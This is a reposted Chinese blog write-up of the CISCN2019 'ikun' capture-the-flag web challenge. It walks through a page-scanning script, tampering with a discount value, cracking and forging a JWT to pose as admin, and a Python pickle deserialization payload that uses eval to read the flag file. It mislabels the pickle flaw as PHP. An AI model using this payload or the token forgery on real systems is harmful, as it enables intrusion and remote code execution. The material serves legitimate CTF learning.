其他分享
首页 > 其他分享> > [CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

作者:互联网

[CISCN2019 华北赛区 Day1 Web2]ikun

首先打开题目地址

左下角有个提示,说ikun们一定要买到lv6,还有爆破的字样

可以看到有很多购买链接,但是发现没翻了几页都没有发现lv6,直接用python写个脚本去寻找

import requests

for i in range(1,201):
    url='http://4dab904b-159f-45a0-bf6a-441fa36b2427.node4.buuoj.cn:81/shop?page='+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url+'ok')
    else:
        print(url+'no')


找到lv6进行购买

结算发现钱是不够的,说明这里很有可能存在逻辑漏洞

尝试修改优惠卷的的折数

再次购买发现就不是购买失败了,而是说该页面只允许admin用户访问

查看页面的cookie信息

发现这里涉及JWT,将JWT先进行解密

猜测这里只需要将username改为admin即可,但是还需要破解出他的密匙
这里需要用到一个工具

然后伪造生成的JWT生成JWT网站
![](https://www.icode9.com/i/ll/?i=89ddf5999aa74e41b94a637eaa63a629.png?x-oss-process=image)
然后抓包进行修改JWT
在这个页面进行抓包

修改JWT的值


然后发现点击一键成为大会员也没有发现什么,查看源代码看看有什么线索

发现有一个压缩包,将他下载下来
解压后得到如下文件

放到idea里进行分析
找到一处php反序列化的位置,在admin.py

然后写上序列化的payload,在kali上运行

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a


最后将生成的payload传给become
检查源代码直接将hidden进行删除

然后填入生成payload获得flag

标签:lv6,ikun,url,JWT,Day1,Web2,print,import,payload
来源: https://blog.csdn.net/kukudeshuo/article/details/120922635